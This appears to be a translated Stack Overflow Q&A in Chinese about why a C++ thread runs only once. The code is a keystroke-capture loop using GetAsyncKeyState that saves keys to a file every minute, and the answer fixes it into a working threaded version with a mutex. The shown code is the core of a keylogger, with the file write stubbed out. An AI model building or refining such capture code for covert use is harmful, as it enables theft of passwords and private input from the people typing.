c++ - 线程只运行一次,但他处于无限循环中
问题描述
因此,我试图获取所有 KEYSTROKES 并在一分钟内将其全部保存在文件中。所以我得到了while循环来获取KEYSTROKES,第一次一切都很顺利,但之后线程没有接近函数。什么都没有崩溃,但结果是不可接受的。
string content = ""; // global
while (true)
{
std::thread t(WriteKeyStrokesToFile);
for (keyStroke = 8; keyStroke < 190; keyStroke++)
{
if (GetAsyncKeyState(keyStroke) & 0x0001)
{
if (KeyIsSpecial(keyStroke) == false)
{
content += keyStroke;
cout << keyStroke;
}
}
}
t.detach();
}
void WriteKeyStrokesToFile()
{
std::this_thread::sleep_for(std::chrono::seconds(60));
//open file and upload content to file
content = ""; //empty the content
}
解决方案
函数 WriteKeyStrokesToFile 仅被调用一次
应该如此。一个线程只运行一次它的功能。当函数退出时,就是这样,线程就完成了。您无法重新启动线程,您所能做的就是创建一个新线程。
为什么线程只工作 1 次,尽管他处于无限循环中。
因为您根本没有线程内部的循环。您有一个在线程外运行的代码循环,向线程提供数据。
要做你想做的事,只需在你的WriteKeyStrokesToFile()
函数内添加一个循环,让它继续运行。并且不要在线程外运行的循环的每次迭代中创建一个新线程。
std::string content = ""; // global
std::mutex content_mutex;
void WriteKeyStrokesToFile()
{
while (true) {
std::this_thread::sleep_for(std::chrono::seconds(60));
std::lock_guard<std::mutex> g(content_mutex);
//open file and upload content to file
content = ""; //empty the content
}
}
void AddKeyStroke(char keyStroke)
{
std::lock_guard<std::mutex> g(content_mutex);
content += keyStroke;
}
int main()
{
std::thread t(WriteKeyStrokesToFile);
while (true) {
for (keyStroke = 8; keyStroke < 190; keyStroke++) {
if (GetAsyncKeyState(keyStroke) & 0x0001) {
if (KeyIsSpecial(keyStroke) == false) {
AddKeyStroke(keyStroke);
std::cout << keyStroke;
}
}
}
}
t.join();
return 0;
}
推荐阅读
- reactjs - 将 props 传递给具有本地状态、状态提升和 redux 的组件 - 推荐
- google-apps-script - 我想编写一个脚本来读取和记录特定行的值并将它们复制到新工作表
- sql-server - 隐藏/取消隐藏查询
- python - 我不知道为什么'if'语句是真的
- java - 如何在不访问其他活动的情况下将 arraylist 从活动发送到另一个活动
- sql - 为什么 JasperReports 忽略 $!P SQL-ingection?
- uml - UML用例图检查用户权限
- java - 路径形状Android中间的中心文本
- ios - path.stroke() 正在崩溃
- python - Python:尽可能快地向下转换数据帧